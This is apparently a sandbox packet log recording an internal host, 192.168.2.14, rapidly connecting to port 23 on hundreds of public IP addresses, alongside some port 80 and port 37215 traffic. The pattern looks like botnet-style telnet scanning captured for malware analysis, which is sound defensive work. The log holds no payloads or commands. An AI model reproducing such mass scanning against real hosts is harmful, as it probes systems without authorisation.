Jan 30, 2025 10:43:05.232757092 CET	80	38592	167.95.37.105	192.168.2.14
Jan 30, 2025 10:43:05.232812881 CET	42606	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:05.232831001 CET	38592	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:05.232882023 CET	38592	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:05.232897997 CET	42606	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:05.237828970 CET	80	42606	202.158.129.118	192.168.2.14
Jan 30, 2025 10:43:05.237880945 CET	42606	80	192.168.2.14	202.158.129.118
Jan 30, 2025 10:43:05.237910032 CET	80	38592	167.95.37.105	192.168.2.14
Jan 30, 2025 10:43:05.237987041 CET	38592	80	192.168.2.14	167.95.37.105
Jan 30, 2025 10:43:05.251684904 CET	37215	60000	41.63.44.18	192.168.2.14
Jan 30, 2025 10:43:05.251746893 CET	37215	55226	41.88.128.241	192.168.2.14
Jan 30, 2025 10:43:05.251758099 CET	37215	43292	156.223.162.115	192.168.2.14
Jan 30, 2025 10:43:05.251765966 CET	37215	41084	156.12.1.123	192.168.2.14
Jan 30, 2025 10:43:05.323153973 CET	40662	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:05.327922106 CET	80	40662	124.155.57.184	192.168.2.14
Jan 30, 2025 10:43:05.328077078 CET	40662	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:05.328150988 CET	40662	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:05.333228111 CET	80	40662	124.155.57.184	192.168.2.14
Jan 30, 2025 10:43:05.333303928 CET	40662	80	192.168.2.14	124.155.57.184
Jan 30, 2025 10:43:05.401690960 CET	63367	23	192.168.2.14	47.206.189.2
Jan 30, 2025 10:43:05.401690960 CET	63367	23	192.168.2.14	5.219.216.9
Jan 30, 2025 10:43:05.401695013 CET	63367	23	192.168.2.14	93.246.93.187
Jan 30, 2025 10:43:05.401702881 CET	63367	23	192.168.2.14	105.132.126.49
Jan 30, 2025 10:43:05.401727915 CET	63367	23	192.168.2.14	49.56.12.150
Jan 30, 2025 10:43:05.401729107 CET	63367	23	192.168.2.14	223.35.190.150
Jan 30, 2025 10:43:05.401736021 CET	63367	23	192.168.2.14	194.213.161.55
Jan 30, 2025 10:43:05.401736021 CET	63367	23	192.168.2.14	103.100.49.209
Jan 30, 2025 10:43:05.401743889 CET	63367	23	192.168.2.14	204.209.200.94
Jan 30, 2025 10:43:05.401743889 CET	63367	23	192.168.2.14	32.185.50.3
Jan 30, 2025 10:43:05.401743889 CET	63367	23	192.168.2.14	117.21.101.85
Jan 30, 2025 10:43:05.401750088 CET	63367	23	192.168.2.14	191.204.28.53
Jan 30, 2025 10:43:05.401751995 CET	63367	23	192.168.2.14	77.51.244.241
Jan 30, 2025 10:43:05.401751995 CET	63367	23	192.168.2.14	193.238.51.192
Jan 30, 2025 10:43:05.401751995 CET	63367	23	192.168.2.14	187.192.19.253
Jan 30, 2025 10:43:05.401758909 CET	63367	23	192.168.2.14	186.67.49.30
Jan 30, 2025 10:43:05.401796103 CET	63367	23	192.168.2.14	109.231.127.152
Jan 30, 2025 10:43:05.401823044 CET	63367	23	192.168.2.14	106.16.191.143
Jan 30, 2025 10:43:05.401823044 CET	63367	23	192.168.2.14	145.249.211.20
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	101.229.194.50
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	66.108.76.148
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	166.153.55.77
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	89.105.212.142
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	36.145.49.229
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	40.44.140.122
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	121.34.82.202
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	62.2.127.113
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	73.25.155.63
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	171.224.120.206
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	164.62.192.225
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	17.121.72.39
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	98.247.149.190
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	170.69.27.41
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	72.78.97.223
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	36.194.207.153
Jan 30, 2025 10:43:05.401839018 CET	63367	23	192.168.2.14	155.240.66.108
Jan 30, 2025 10:43:05.401827097 CET	63367	23	192.168.2.14	184.2.253.173
Jan 30, 2025 10:43:05.401838064 CET	63367	23	192.168.2.14	141.52.221.211
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	95.175.145.109
Jan 30, 2025 10:43:05.401844025 CET	63367	23	192.168.2.14	128.186.215.161
Jan 30, 2025 10:43:05.401839018 CET	63367	23	192.168.2.14	69.201.29.22
Jan 30, 2025 10:43:05.401844025 CET	63367	23	192.168.2.14	132.109.69.122
Jan 30, 2025 10:43:05.401839018 CET	63367	23	192.168.2.14	151.105.118.74
Jan 30, 2025 10:43:05.401844025 CET	63367	23	192.168.2.14	189.4.253.131
Jan 30, 2025 10:43:05.401838064 CET	63367	23	192.168.2.14	187.74.158.106
Jan 30, 2025 10:43:05.401840925 CET	63367	23	192.168.2.14	87.186.65.171
Jan 30, 2025 10:43:05.401838064 CET	63367	23	192.168.2.14	43.17.38.8
Jan 30, 2025 10:43:05.401853085 CET	63367	23	192.168.2.14	218.194.113.111
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	84.181.104.30
Jan 30, 2025 10:43:05.401842117 CET	63367	23	192.168.2.14	46.31.16.89
Jan 30, 2025 10:43:05.401838064 CET	63367	23	192.168.2.14	185.44.225.225
Jan 30, 2025 10:43:05.401859045 CET	63367	23	192.168.2.14	146.85.120.2
Jan 30, 2025 10:43:05.401839018 CET	63367	23	192.168.2.14	213.95.68.193
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	86.14.13.19
Jan 30, 2025 10:43:05.401839018 CET	63367	23	192.168.2.14	151.50.65.192
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	112.134.35.156
Jan 30, 2025 10:43:05.401839018 CET	63367	23	192.168.2.14	128.234.123.63
Jan 30, 2025 10:43:05.401859045 CET	63367	23	192.168.2.14	110.60.221.205
Jan 30, 2025 10:43:05.401861906 CET	63367	23	192.168.2.14	119.183.43.100
Jan 30, 2025 10:43:05.401859045 CET	63367	23	192.168.2.14	89.86.214.118
Jan 30, 2025 10:43:05.401842117 CET	63367	23	192.168.2.14	122.13.23.73
Jan 30, 2025 10:43:05.401865005 CET	63367	23	192.168.2.14	129.167.157.139
Jan 30, 2025 10:43:05.401861906 CET	63367	23	192.168.2.14	142.146.98.228
Jan 30, 2025 10:43:05.401865005 CET	63367	23	192.168.2.14	201.215.174.193
Jan 30, 2025 10:43:05.401861906 CET	63367	23	192.168.2.14	139.149.49.23
Jan 30, 2025 10:43:05.401865005 CET	63367	23	192.168.2.14	132.197.88.26
Jan 30, 2025 10:43:05.401870012 CET	63367	23	192.168.2.14	41.148.63.230
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	13.16.61.33
Jan 30, 2025 10:43:05.401865005 CET	63367	23	192.168.2.14	167.174.68.1
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	168.179.54.188
Jan 30, 2025 10:43:05.401865005 CET	63367	23	192.168.2.14	169.105.138.250
Jan 30, 2025 10:43:05.401842117 CET	63367	23	192.168.2.14	73.92.230.184
Jan 30, 2025 10:43:05.401880026 CET	63367	23	192.168.2.14	189.100.75.58
Jan 30, 2025 10:43:05.401825905 CET	63367	23	192.168.2.14	115.220.246.13
Jan 30, 2025 10:43:05.401880980 CET	63367	23	192.168.2.14	205.175.118.109
Jan 30, 2025 10:43:05.401876926 CET	63367	23	192.168.2.14	147.237.38.53
Jan 30, 2025 10:43:05.401880980 CET	63367	23	192.168.2.14	14.89.190.182
Jan 30, 2025 10:43:05.401876926 CET	63367	23	192.168.2.14	190.138.237.115
Jan 30, 2025 10:43:05.401880980 CET	63367	23	192.168.2.14	70.217.47.53
Jan 30, 2025 10:43:05.401842117 CET	63367	23	192.168.2.14	57.128.46.173
Jan 30, 2025 10:43:05.401876926 CET	63367	23	192.168.2.14	51.155.62.214
Jan 30, 2025 10:43:05.401880980 CET	63367	23	192.168.2.14	80.101.121.166
Jan 30, 2025 10:43:05.401892900 CET	63367	23	192.168.2.14	103.223.94.163
Jan 30, 2025 10:43:05.401880980 CET	63367	23	192.168.2.14	220.8.225.48
Jan 30, 2025 10:43:05.401892900 CET	63367	23	192.168.2.14	169.159.153.209
Jan 30, 2025 10:43:05.401894093 CET	63367	23	192.168.2.14	212.63.154.205
Jan 30, 2025 10:43:05.401892900 CET	63367	23	192.168.2.14	153.241.170.132
Jan 30, 2025 10:43:05.401894093 CET	63367	23	192.168.2.14	102.236.189.20
Jan 30, 2025 10:43:05.401892900 CET	63367	23	192.168.2.14	167.183.51.219
Jan 30, 2025 10:43:05.401896954 CET	63367	23	192.168.2.14	132.125.44.117
Jan 30, 2025 10:43:05.401896954 CET	63367	23	192.168.2.14	169.223.168.140
Jan 30, 2025 10:43:05.401892900 CET	63367	23	192.168.2.14	40.91.185.247
Jan 30, 2025 10:43:05.401880980 CET	63367	23	192.168.2.14	96.85.247.55
Jan 30, 2025 10:43:05.401892900 CET	63367	23	192.168.2.14	142.110.49.108
Jan 30, 2025 10:43:05.401894093 CET	63367	23	192.168.2.14	93.56.37.129
Jan 30, 2025 10:43:05.401896954 CET	63367	23	192.168.2.14	112.236.98.194
Jan 30, 2025 10:43:05.401896954 CET	63367	23	192.168.2.14	136.144.235.251
Jan 30, 2025 10:43:05.401894093 CET	63367	23	192.168.2.14	66.148.159.114
Jan 30, 2025 10:43:05.401896954 CET	63367	23	192.168.2.14	4.166.129.32
Jan 30, 2025 10:43:05.401894093 CET	63367	23	192.168.2.14	82.188.93.127
Jan 30, 2025 10:43:05.401910067 CET	63367	23	192.168.2.14	168.198.176.18
Jan 30, 2025 10:43:05.401910067 CET	63367	23	192.168.2.14	129.161.21.246
Jan 30, 2025 10:43:05.401910067 CET	63367	23	192.168.2.14	72.27.82.253
Jan 30, 2025 10:43:05.401910067 CET	63367	23	192.168.2.14	111.110.81.115
Jan 30, 2025 10:43:05.401910067 CET	63367	23	192.168.2.14	91.73.191.17
Jan 30, 2025 10:43:05.401910067 CET	63367	23	192.168.2.14	121.37.105.237
Jan 30, 2025 10:43:05.401910067 CET	63367	23	192.168.2.14	126.253.138.203
Jan 30, 2025 10:43:05.401913881 CET	63367	23	192.168.2.14	44.215.38.222
Jan 30, 2025 10:43:05.401910067 CET	63367	23	192.168.2.14	195.25.22.239
Jan 30, 2025 10:43:05.401913881 CET	63367	23	192.168.2.14	179.127.82.182
Jan 30, 2025 10:43:05.401913881 CET	63367	23	192.168.2.14	51.25.93.46
Jan 30, 2025 10:43:05.401915073 CET	63367	23	192.168.2.14	188.147.198.60
Jan 30, 2025 10:43:05.401913881 CET	63367	23	192.168.2.14	60.42.99.138
Jan 30, 2025 10:43:05.401916027 CET	63367	23	192.168.2.14	122.144.137.233
Jan 30, 2025 10:43:05.401913881 CET	63367	23	192.168.2.14	121.69.70.138
Jan 30, 2025 10:43:05.401915073 CET	63367	23	192.168.2.14	114.185.209.50
Jan 30, 2025 10:43:05.401911974 CET	63367	23	192.168.2.14	103.121.35.8
Jan 30, 2025 10:43:05.401921034 CET	63367	23	192.168.2.14	58.78.209.163
Jan 30, 2025 10:43:05.401922941 CET	63367	23	192.168.2.14	219.180.160.156
Jan 30, 2025 10:43:05.401911974 CET	63367	23	192.168.2.14	155.29.115.53
Jan 30, 2025 10:43:05.401921988 CET	63367	23	192.168.2.14	1.11.172.7
Jan 30, 2025 10:43:05.401911974 CET	63367	23	192.168.2.14	39.144.5.31
Jan 30, 2025 10:43:05.401921988 CET	63367	23	192.168.2.14	79.122.166.193
Jan 30, 2025 10:43:05.401911974 CET	63367	23	192.168.2.14	66.25.126.245
Jan 30, 2025 10:43:05.401926041 CET	63367	23	192.168.2.14	54.20.82.43
Jan 30, 2025 10:43:05.401926041 CET	63367	23	192.168.2.14	145.182.162.42
Jan 30, 2025 10:43:05.401912928 CET	63367	23	192.168.2.14	211.248.173.87
Jan 30, 2025 10:43:05.401921988 CET	63367	23	192.168.2.14	151.238.44.82
Jan 30, 2025 10:43:05.401915073 CET	63367	23	192.168.2.14	75.46.28.93
Jan 30, 2025 10:43:05.401921988 CET	63367	23	192.168.2.14	170.58.167.127
Jan 30, 2025 10:43:05.401921988 CET	63367	23	192.168.2.14	53.64.192.172
Jan 30, 2025 10:43:05.401921988 CET	63367	23	192.168.2.14	216.35.152.133
Jan 30, 2025 10:43:05.401921988 CET	63367	23	192.168.2.14	161.225.197.178
Jan 30, 2025 10:43:05.401938915 CET	63367	23	192.168.2.14	90.245.183.147
Jan 30, 2025 10:43:05.401942968 CET	63367	23	192.168.2.14	93.84.168.191
Jan 30, 2025 10:43:05.401942968 CET	63367	23	192.168.2.14	147.250.143.135
Jan 30, 2025 10:43:05.401947021 CET	63367	23	192.168.2.14	72.200.45.229
Jan 30, 2025 10:43:05.401951075 CET	63367	23	192.168.2.14	115.222.151.199
Jan 30, 2025 10:43:05.401953936 CET	63367	23	192.168.2.14	67.11.116.75
Jan 30, 2025 10:43:05.401953936 CET	63367	23	192.168.2.14	54.186.245.221
Jan 30, 2025 10:43:05.401967049 CET	63367	23	192.168.2.14	189.225.107.98
Jan 30, 2025 10:43:05.401972055 CET	63367	23	192.168.2.14	130.116.70.47
Jan 30, 2025 10:43:05.401983023 CET	63367	23	192.168.2.14	201.243.81.206
Jan 30, 2025 10:43:05.401988983 CET	63367	23	192.168.2.14	198.43.94.107
Jan 30, 2025 10:43:05.401990891 CET	63367	23	192.168.2.14	217.255.191.89
Jan 30, 2025 10:43:05.401992083 CET	63367	23	192.168.2.14	190.1.109.191
Jan 30, 2025 10:43:05.401992083 CET	63367	23	192.168.2.14	166.80.58.131
Jan 30, 2025 10:43:05.401998043 CET	63367	23	192.168.2.14	76.217.208.232
Jan 30, 2025 10:43:05.402007103 CET	63367	23	192.168.2.14	67.111.56.117
Jan 30, 2025 10:43:05.402021885 CET	63367	23	192.168.2.14	67.14.189.203
Jan 30, 2025 10:43:05.402025938 CET	63367	23	192.168.2.14	45.224.174.231
Jan 30, 2025 10:43:05.402026892 CET	63367	23	192.168.2.14	88.213.163.174
Jan 30, 2025 10:43:05.402033091 CET	63367	23	192.168.2.14	86.186.94.159
Jan 30, 2025 10:43:05.402035952 CET	63367	23	192.168.2.14	2.171.133.222
Jan 30, 2025 10:43:05.402040005 CET	63367	23	192.168.2.14	17.107.249.218
Jan 30, 2025 10:43:05.402045965 CET	63367	23	192.168.2.14	73.79.154.233
Jan 30, 2025 10:43:05.402045965 CET	63367	23	192.168.2.14	43.42.164.183
Jan 30, 2025 10:43:05.402059078 CET	63367	23	192.168.2.14	17.152.8.122
Jan 30, 2025 10:43:05.402065039 CET	63367	23	192.168.2.14	136.147.137.250
Jan 30, 2025 10:43:05.402066946 CET	63367	23	192.168.2.14	9.61.209.34
Jan 30, 2025 10:43:05.402082920 CET	63367	23	192.168.2.14	219.31.163.220
Jan 30, 2025 10:43:05.402084112 CET	63367	23	192.168.2.14	174.88.16.183
Jan 30, 2025 10:43:05.402089119 CET	63367	23	192.168.2.14	116.247.0.112
Jan 30, 2025 10:43:05.402105093 CET	63367	23	192.168.2.14	173.50.33.65
Jan 30, 2025 10:43:05.402107954 CET	63367	23	192.168.2.14	49.52.212.73
Jan 30, 2025 10:43:05.402107954 CET	63367	23	192.168.2.14	4.171.99.115
Jan 30, 2025 10:43:05.402121067 CET	63367	23	192.168.2.14	164.157.241.11
Jan 30, 2025 10:43:05.402121067 CET	63367	23	192.168.2.14	118.102.48.77
Jan 30, 2025 10:43:05.402122021 CET	63367	23	192.168.2.14	136.117.110.232
Jan 30, 2025 10:43:05.402128935 CET	63367	23	192.168.2.14	138.219.235.146
Jan 30, 2025 10:43:05.402137995 CET	63367	23	192.168.2.14	135.72.232.200
Jan 30, 2025 10:43:05.402148962 CET	63367	23	192.168.2.14	170.24.81.156
Jan 30, 2025 10:43:05.402148962 CET	63367	23	192.168.2.14	103.142.151.60
Jan 30, 2025 10:43:05.402151108 CET	63367	23	192.168.2.14	147.237.11.33
Jan 30, 2025 10:43:05.402153015 CET	63367	23	192.168.2.14	203.182.74.131
Jan 30, 2025 10:43:05.402153015 CET	63367	23	192.168.2.14	222.211.205.45
Jan 30, 2025 10:43:05.402154922 CET	63367	23	192.168.2.14	168.97.6.145
Jan 30, 2025 10:43:05.402154922 CET	63367	23	192.168.2.14	106.96.156.225
Jan 30, 2025 10:43:05.402172089 CET	63367	23	192.168.2.14	176.112.158.142
Jan 30, 2025 10:43:05.402179956 CET	63367	23	192.168.2.14	107.153.245.126
Jan 30, 2025 10:43:05.402180910 CET	63367	23	192.168.2.14	202.115.153.69
Jan 30, 2025 10:43:05.402198076 CET	63367	23	192.168.2.14	71.155.218.215
Jan 30, 2025 10:43:05.402199030 CET	63367	23	192.168.2.14	135.89.121.69
Jan 30, 2025 10:43:05.402199984 CET	63367	23	192.168.2.14	173.86.166.250
Jan 30, 2025 10:43:05.402199984 CET	63367	23	192.168.2.14	173.88.145.118
Jan 30, 2025 10:43:05.402199984 CET	63367	23	192.168.2.14	161.161.75.16
Jan 30, 2025 10:43:05.402206898 CET	63367	23	192.168.2.14	54.250.41.71
Jan 30, 2025 10:43:05.402209997 CET	63367	23	192.168.2.14	175.154.130.91
Jan 30, 2025 10:43:05.402211905 CET	63367	23	192.168.2.14	162.216.14.212
Jan 30, 2025 10:43:05.402218103 CET	63367	23	192.168.2.14	31.252.222.88
Jan 30, 2025 10:43:05.402226925 CET	63367	23	192.168.2.14	221.44.235.73
Jan 30, 2025 10:43:05.402228117 CET	63367	23	192.168.2.14	60.130.220.1
Jan 30, 2025 10:43:05.402239084 CET	63367	23	192.168.2.14	49.56.205.113
Jan 30, 2025 10:43:05.402246952 CET	63367	23	192.168.2.14	168.221.142.87
Jan 30, 2025 10:43:05.402246952 CET	63367	23	192.168.2.14	201.161.232.247
Jan 30, 2025 10:43:05.402256966 CET	63367	23	192.168.2.14	39.220.142.228
Jan 30, 2025 10:43:05.402259111 CET	63367	23	192.168.2.14	107.119.108.111
Jan 30, 2025 10:43:05.402265072 CET	63367	23	192.168.2.14	165.222.184.125
Jan 30, 2025 10:43:05.402276993 CET	63367	23	192.168.2.14	151.146.152.3
Jan 30, 2025 10:43:05.402280092 CET	63367	23	192.168.2.14	160.127.178.19
Jan 30, 2025 10:43:05.402285099 CET	63367	23	192.168.2.14	161.8.126.137
Jan 30, 2025 10:43:05.402287960 CET	63367	23	192.168.2.14	193.100.151.94
Jan 30, 2025 10:43:05.402297974 CET	63367	23	192.168.2.14	132.31.219.114
Jan 30, 2025 10:43:05.402297974 CET	63367	23	192.168.2.14	98.151.166.163
Jan 30, 2025 10:43:05.402301073 CET	63367	23	192.168.2.14	206.62.222.251
Jan 30, 2025 10:43:05.402311087 CET	63367	23	192.168.2.14	157.15.232.74
Jan 30, 2025 10:43:05.402316093 CET	63367	23	192.168.2.14	162.218.91.132
Jan 30, 2025 10:43:05.402316093 CET	63367	23	192.168.2.14	206.143.56.169
Jan 30, 2025 10:43:05.402318001 CET	63367	23	192.168.2.14	59.220.119.14
Jan 30, 2025 10:43:05.402318001 CET	63367	23	192.168.2.14	2.149.143.45
Jan 30, 2025 10:43:05.402334929 CET	63367	23	192.168.2.14	49.249.4.139
Jan 30, 2025 10:43:05.402334929 CET	63367	23	192.168.2.14	76.35.83.2
Jan 30, 2025 10:43:05.402334929 CET	63367	23	192.168.2.14	81.107.212.187
Jan 30, 2025 10:43:05.402334929 CET	63367	23	192.168.2.14	5.255.152.89
Jan 30, 2025 10:43:05.402340889 CET	63367	23	192.168.2.14	206.65.164.71
Jan 30, 2025 10:43:05.402340889 CET	63367	23	192.168.2.14	18.222.40.242
Jan 30, 2025 10:43:05.402342081 CET	63367	23	192.168.2.14	220.238.81.248
Jan 30, 2025 10:43:05.402343035 CET	63367	23	192.168.2.14	170.214.29.235
Jan 30, 2025 10:43:05.402349949 CET	63367	23	192.168.2.14	70.148.112.29
Jan 30, 2025 10:43:05.402362108 CET	63367	23	192.168.2.14	63.101.46.118
Jan 30, 2025 10:43:05.402369022 CET	63367	23	192.168.2.14	162.2.74.202
Jan 30, 2025 10:43:05.402369976 CET	63367	23	192.168.2.14	220.234.135.131
Jan 30, 2025 10:43:05.402383089 CET	63367	23	192.168.2.14	42.115.175.110
Jan 30, 2025 10:43:05.402388096 CET	63367	23	192.168.2.14	162.11.245.129
Jan 30, 2025 10:43:05.402390957 CET	63367	23	192.168.2.14	70.108.216.75
Jan 30, 2025 10:43:05.402393103 CET	63367	23	192.168.2.14	139.164.107.153
Jan 30, 2025 10:43:05.402403116 CET	63367	23	192.168.2.14	219.224.49.189
Jan 30, 2025 10:43:05.402406931 CET	63367	23	192.168.2.14	111.250.59.176
Jan 30, 2025 10:43:05.402410030 CET	63367	23	192.168.2.14	64.248.19.175
Jan 30, 2025 10:43:05.402414083 CET	63367	23	192.168.2.14	219.55.238.54
Jan 30, 2025 10:43:05.402426958 CET	63367	23	192.168.2.14	205.193.19.44
Jan 30, 2025 10:43:05.402432919 CET	63367	23	192.168.2.14	84.58.232.243
Jan 30, 2025 10:43:05.402439117 CET	63367	23	192.168.2.14	52.159.108.187
Jan 30, 2025 10:43:05.402441978 CET	63367	23	192.168.2.14	82.211.44.133
Jan 30, 2025 10:43:05.402452946 CET	63367	23	192.168.2.14	54.68.208.103
Jan 30, 2025 10:43:05.402453899 CET	63367	23	192.168.2.14	83.42.6.179
Jan 30, 2025 10:43:05.402467966 CET	63367	23	192.168.2.14	204.215.49.43
Jan 30, 2025 10:43:05.402468920 CET	63367	23	192.168.2.14	190.254.204.57
Jan 30, 2025 10:43:05.402472019 CET	63367	23	192.168.2.14	24.36.181.76
Jan 30, 2025 10:43:05.402482033 CET	63367	23	192.168.2.14	212.101.200.121
Jan 30, 2025 10:43:05.402486086 CET	63367	23	192.168.2.14	150.66.30.60
Jan 30, 2025 10:43:05.402486086 CET	63367	23	192.168.2.14	138.164.159.174
Jan 30, 2025 10:43:05.402503967 CET	63367	23	192.168.2.14	212.198.252.156
Jan 30, 2025 10:43:05.402506113 CET	63367	23	192.168.2.14	123.58.114.117
Jan 30, 2025 10:43:05.402506113 CET	63367	23	192.168.2.14	222.35.67.206
Jan 30, 2025 10:43:05.402506113 CET	63367	23	192.168.2.14	111.230.37.122
Jan 30, 2025 10:43:05.402518988 CET	63367	23	192.168.2.14	218.199.190.178
Jan 30, 2025 10:43:05.402522087 CET	63367	23	192.168.2.14	104.67.162.237
Jan 30, 2025 10:43:05.402524948 CET	63367	23	192.168.2.14	169.117.223.200
Jan 30, 2025 10:43:05.402524948 CET	63367	23	192.168.2.14	129.130.193.133
Jan 30, 2025 10:43:05.402530909 CET	63367	23	192.168.2.14	76.56.216.253
Jan 30, 2025 10:43:05.402533054 CET	63367	23	192.168.2.14	37.109.123.212
Jan 30, 2025 10:43:05.402533054 CET	63367	23	192.168.2.14	166.225.12.6
Jan 30, 2025 10:43:05.402543068 CET	63367	23	192.168.2.14	106.163.119.140
Jan 30, 2025 10:43:05.402549982 CET	63367	23	192.168.2.14	62.217.167.150
Jan 30, 2025 10:43:05.402559042 CET	63367	23	192.168.2.14	100.127.131.191
Jan 30, 2025 10:43:05.402559042 CET	63367	23	192.168.2.14	51.188.179.151
Jan 30, 2025 10:43:05.402574062 CET	63367	23	192.168.2.14	213.195.98.90
Jan 30, 2025 10:43:05.402574062 CET	63367	23	192.168.2.14	182.188.61.110
Jan 30, 2025 10:43:05.402576923 CET	63367	23	192.168.2.14	114.242.8.31
Jan 30, 2025 10:43:05.402579069 CET	63367	23	192.168.2.14	54.166.121.214
Jan 30, 2025 10:43:05.402595043 CET	63367	23	192.168.2.14	68.50.157.71
Jan 30, 2025 10:43:05.402597904 CET	63367	23	192.168.2.14	200.22.2.0
Jan 30, 2025 10:43:05.402606010 CET	63367	23	192.168.2.14	23.112.125.129
Jan 30, 2025 10:43:05.402606010 CET	63367	23	192.168.2.14	23.219.254.15
Jan 30, 2025 10:43:05.402611017 CET	63367	23	192.168.2.14	64.214.60.169
Jan 30, 2025 10:43:05.402615070 CET	63367	23	192.168.2.14	180.41.164.158
Jan 30, 2025 10:43:05.402630091 CET	63367	23	192.168.2.14	120.214.75.241
Jan 30, 2025 10:43:05.402642965 CET	63367	23	192.168.2.14	99.41.29.43
Jan 30, 2025 10:43:05.402645111 CET	63367	23	192.168.2.14	182.236.8.164
Jan 30, 2025 10:43:05.402645111 CET	63367	23	192.168.2.14	63.9.97.197
Jan 30, 2025 10:43:05.402647972 CET	63367	23	192.168.2.14	139.255.94.213
Jan 30, 2025 10:43:05.402666092 CET	63367	23	192.168.2.14	38.210.51.38
Jan 30, 2025 10:43:05.402667046 CET	63367	23	192.168.2.14	176.74.130.197
Jan 30, 2025 10:43:05.402667046 CET	63367	23	192.168.2.14	165.68.150.180
Jan 30, 2025 10:43:05.402667046 CET	63367	23	192.168.2.14	121.25.45.79
Jan 30, 2025 10:43:05.402671099 CET	63367	23	192.168.2.14	141.33.13.231
Jan 30, 2025 10:43:05.402684927 CET	63367	23	192.168.2.14	176.61.4.37
Jan 30, 2025 10:43:05.402687073 CET	63367	23	192.168.2.14	53.166.160.242
Jan 30, 2025 10:43:05.402687073 CET	63367	23	192.168.2.14	122.47.54.6
Jan 30, 2025 10:43:05.402704000 CET	63367	23	192.168.2.14	79.144.177.40
Jan 30, 2025 10:43:05.402704000 CET	63367	23	192.168.2.14	198.32.144.70
Jan 30, 2025 10:43:05.402709007 CET	63367	23	192.168.2.14	105.224.19.133
Jan 30, 2025 10:43:05.402719021 CET	63367	23	192.168.2.14	152.135.238.231
Jan 30, 2025 10:43:05.402723074 CET	63367	23	192.168.2.14	103.139.159.253
Jan 30, 2025 10:43:05.402728081 CET	63367	23	192.168.2.14	76.32.244.74
Jan 30, 2025 10:43:05.402738094 CET	63367	23	192.168.2.14	72.80.11.76
Jan 30, 2025 10:43:05.402740002 CET	63367	23	192.168.2.14	37.93.147.182
Jan 30, 2025 10:43:05.402740002 CET	63367	23	192.168.2.14	83.93.241.208
Jan 30, 2025 10:43:05.402750015 CET	63367	23	192.168.2.14	135.176.150.201
Jan 30, 2025 10:43:05.402759075 CET	63367	23	192.168.2.14	149.137.161.21
Jan 30, 2025 10:43:05.402760983 CET	63367	23	192.168.2.14	54.245.247.61
Jan 30, 2025 10:43:05.402770996 CET	63367	23	192.168.2.14	4.192.25.161
Jan 30, 2025 10:43:05.402772903 CET	63367	23	192.168.2.14	142.79.74.125
Jan 30, 2025 10:43:05.402777910 CET	63367	23	192.168.2.14	206.231.10.30
Jan 30, 2025 10:43:05.402777910 CET	63367	23	192.168.2.14	105.129.58.57
Jan 30, 2025 10:43:05.402796030 CET	63367	23	192.168.2.14	157.236.250.69
Jan 30, 2025 10:43:05.402797937 CET	63367	23	192.168.2.14	150.158.205.157
Jan 30, 2025 10:43:05.402800083 CET	63367	23	192.168.2.14	71.189.76.58
Jan 30, 2025 10:43:05.402801991 CET	63367	23	192.168.2.14	37.183.120.213
Jan 30, 2025 10:43:05.402801991 CET	63367	23	192.168.2.14	222.213.192.164
Jan 30, 2025 10:43:05.402805090 CET	63367	23	192.168.2.14	75.117.43.97
Jan 30, 2025 10:43:05.402805090 CET	63367	23	192.168.2.14	155.40.88.251
Jan 30, 2025 10:43:05.402812958 CET	63367	23	192.168.2.14	51.55.82.97
Jan 30, 2025 10:43:05.402821064 CET	63367	23	192.168.2.14	131.192.241.138
Jan 30, 2025 10:43:05.402827024 CET	63367	23	192.168.2.14	113.210.46.70
Jan 30, 2025 10:43:05.402827024 CET	63367	23	192.168.2.14	137.234.8.109
Jan 30, 2025 10:43:05.402829885 CET	63367	23	192.168.2.14	18.198.201.204
Jan 30, 2025 10:43:05.402829885 CET	63367	23	192.168.2.14	175.86.62.142
Jan 30, 2025 10:43:05.402831078 CET	63367	23	192.168.2.14	81.33.71.226
Jan 30, 2025 10:43:05.402836084 CET	63367	23	192.168.2.14	17.229.85.65
Jan 30, 2025 10:43:05.402853966 CET	63367	23	192.168.2.14	170.32.159.45
Jan 30, 2025 10:43:05.402863026 CET	63367	23	192.168.2.14	99.201.184.236
Jan 30, 2025 10:43:05.402863026 CET	63367	23	192.168.2.14	160.205.45.197
Jan 30, 2025 10:43:05.402863979 CET	63367	23	192.168.2.14	173.143.241.102
Jan 30, 2025 10:43:05.402869940 CET	63367	23	192.168.2.14	187.250.49.133
Jan 30, 2025 10:43:05.402877092 CET	63367	23	192.168.2.14	120.133.11.39
Jan 30, 2025 10:43:05.402884007 CET	63367	23	192.168.2.14	62.104.193.200
Jan 30, 2025 10:43:05.402896881 CET	63367	23	192.168.2.14	171.201.107.143
Jan 30, 2025 10:43:05.402900934 CET	63367	23	192.168.2.14	177.75.242.75
Jan 30, 2025 10:43:05.402900934 CET	63367	23	192.168.2.14	47.176.143.54
